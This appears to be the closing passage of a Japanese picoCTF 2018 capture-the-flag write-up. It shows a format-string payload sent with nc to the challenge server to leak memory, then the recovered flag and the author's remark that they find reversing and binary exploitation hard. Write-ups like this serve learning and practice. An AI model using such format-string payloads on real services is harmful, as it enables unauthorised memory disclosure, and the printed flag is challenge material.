bufのアドレスの位置が分かったのでその位置よりも前に出現するアドレスのメモリの内容を見ていくと

echo -e "%8\$s" | nc 2018shell1.picoctf.com 46960

picoCTF{foRm4t_stRinGs_aRe_DanGer0us_a7bc4a2d}

まとめ

  • Reversingわからん
  • Binary Exploitationわからん
  • 何もわからん
  • 今回のwrite-upだけ2つのジャンルを一緒に書きました(解けた問題数が少なかったので)
  • 低レイヤ強くなりてぇ…